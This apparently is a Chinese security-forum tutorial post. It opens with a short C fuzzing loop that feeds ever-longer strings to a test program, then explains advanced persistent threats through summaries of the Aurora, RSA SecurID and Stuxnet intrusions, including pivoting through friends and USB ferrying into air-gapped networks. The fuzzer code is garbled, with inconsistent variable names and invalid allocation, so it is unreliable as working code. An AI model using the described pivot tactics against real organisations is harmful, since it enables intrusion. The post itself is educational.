1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | / / / Fuzz程序 int main( int argc,char * argv[]) { char cmdbuff[ 2048 ] = { 0 }; char * test_buff = NULL; for ( int i = 1 ;i< 1024 ;i + + ) { testbuff = new char[]; memset(test_buif, 0 ,i); memset(test_buf, 'c' ,i - 1 ); sprintf(cmdbuff, "%S %S" , "test.exe" ,tes_tbuf); system(cmdbuff); delete test_buff; } return 0 ; } / / test.exe "c" ; / / test.exe, "cc" ; / / test.exe, "ccc" ; / / ... / / test.exe "ccccccccc...c" ; / / 当test_buff超过 10 个Byte,test.exe很可能就会奔溃,这时候用调试工具调试test.exe,很容易定位到test.exe奔溃的位置 |
ATP高级持续性威胁
APT攻击
1 2 3 4 5 | - 高级持续性威胁(Advanced Persistent Threat,ART)攻击 - APT不是一种新的攻击手法,而是对各种攻击方法的`综合`使用 - 对象:不是针对普通个人,而是价值很高的公众人物,或者国家。 - 持续性:攻击者为了重要的目标长时间持续攻击直到攻破为止。攻击成功用上一年到三年,攻击成功后持续潜伏五年到十年的案例都有。 - 攻击完全处于动态发展之中,系统不断有新的漏洞被发现,防御体系也会存在一定的空窗期:比如设备升级、应用需要的兼容性测试环境等等,最终导致系统的失守 |
- ATP社工
- 攻击者为了让被攻击者更容易信任,往往会先从被攻击者容易信任的对象着手,比如攻击一个被攻击者的小白好友或家人,或者被攻击者使用的内部论坛,通过他们的身份再对被攻击者发起0DAY攻击。
- 再利用组织内的已被攻击成功的身份再去渗透攻击他的上级,常逐步拿到对核心资产有访问权限的目标。
- 广谱信息收集:攻击者会花上很长的时间和资源,依靠互联网搜集,主动扫描,甚至真实物理访问方式,收集被攻击目标的信息,主要包括:组织架构,人际关系,常用软件。常用防御策略与产品,内部网络部署等信息
- APT攻击的成本与目标
- APT攻击的成本很高(专业的团队,长期的信息收集,挖掘0DAY和利用(美国安全局组织0day比赛也是为了收集0day)等),因此只适合专业的网络犯罪团悉伙或有组织和国家支持的特种攻击团队
- 因此APT攻击是针对有重要价值资产或重要战略意义的目标,一般军工、能源水金融、军事、政府、重要高科技企业(GOOGLE等)明星,政客等最容易遭APT攻击。
- 虽然普通网民不会遭受APT攻击的眷顾,但是如果你是”APT攻击目标组织的一名普通员工,甚至只是与攻击目标组织里的一名普通员工是好友或亲戚关系,你依然可能成为APT攻击的中间跳板,当然作为普通个人,APT攻击本身不会窃走你个人什么东西(你本身就是重要人物或个人主机里保存有重要资料的除外)。
- 物理隔绝对APT可能无效
- 物理隔离也不能避免遭受APT攻击,因为即使物理阻止了网络层信息流,也阻正不了逻辑上的信息流。
- 震网利用7个0DAY和摆渡成功渗透进了伊朗核设施级的物理隔离网络。
- 摆渡攻击是一种专门针对移动存储设备,从与互联网物理隔离的内部网络中窃取文件资料的信息攻击手段。简单地说,摆渡攻击就是利用u盘作为“渡船”,达到间接从内网中秘密窃取文件资料的目的。(U盘叉插内网,又插外网)
- 攻击手段
- APT攻击案例-极光攻击
- 针对GOOGLE等三十多个高科技公司。攻击者通过FACEBOOK上的好友分析,锁定了GOOGLE公司的一个员工和他的一个喜欢摄影的电脑小白好友。攻击者入侵并控制了电脑小白好友的机器,然后伪造了一个照片服务器,上面放置了IE的ODAY攻击代码,以电脑小白的身份给GOOGL E员工发送IM消息邀请他来看最新的照片,小其实URL指向了这个IE ODAY的页面。GOOGLE的员工相信之后打开了这个页面然后中招,攻击者利用GOOGLE这个员工的身份在内网内持续渗透,直到获得了GMAIL系统中很多敏感用户的访问权限。窃取了MAIL系统中的敏感信息后,攻击者通过合法加密信道将数据传出。事后调查,不止是GOOGLE中招了,三十多家美国高科技公司都被总这一APT攻击搞定,甚至包括赛门铁克这样牛比的安全厂商
- APT攻击案例-对RSA窃取SECURID令牌种子
- 攻击者首先搞定了RSA-个外地的小分支机构人员的邮箱或主机,然后以这个人员的身份,向RSA的财务,主管发了一封财务预算的邮件请求RSA的财务主管进行审核,内部附属了一个EXCEL的附件,但是里面嵌入了一个FLASH的0DAY利用代码。RSA的财务主管认为可信并是自己的工作职责,因此打开了这个EXCEL附件,于是攻击者成功控制了RSA的财务主管。再利用RSA的财务主管的身份逐步渗透,最后窃取走了SECURID令牌种子,通过IE的代理传回给控制者,RSA发现被入侵后-一直不承认SECURID令牌种子也被窃取走,直到攻击者利用窃取的SECURID:令牌种子攻击了多个美国军工企业RSA才承认SECURID令牌种子被偷走。
- APT攻击案例-震网攻击stuxnet
- 伊朗核电站是个物理隔离的网络,因此攻击者首先获得了一些核电站工作人员和其家庭成员的信息,针对这些家庭成员的主机发起了攻击,成功控制了这些家庭用的主机,然后利用4个WINDOWS的0DAY漏洞,可以感染所有接入的USB移动介质以及通过USB移动介质可以攻击接入的主机。终于靠这种摆渡攻击渗透进了防护森严物理隔离的伊朗核电站内部网络,最后再利用了3个西门子的0DAY漏洞,成功控制了控制离心机的控制系统,修改了离心机参数,让其发电正常但生产不出制造核武器的物质,但在人工检测显示端显示一切正常。成功的将伊朗制造核武器的进程拖后了几年。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]java和smali汇编 2684
- [原创]Android逆向前期准备(下) 4275
- [原创]native层逆向分析(上篇) 13842
- [原创]Java层逆向分析方法和技巧 7248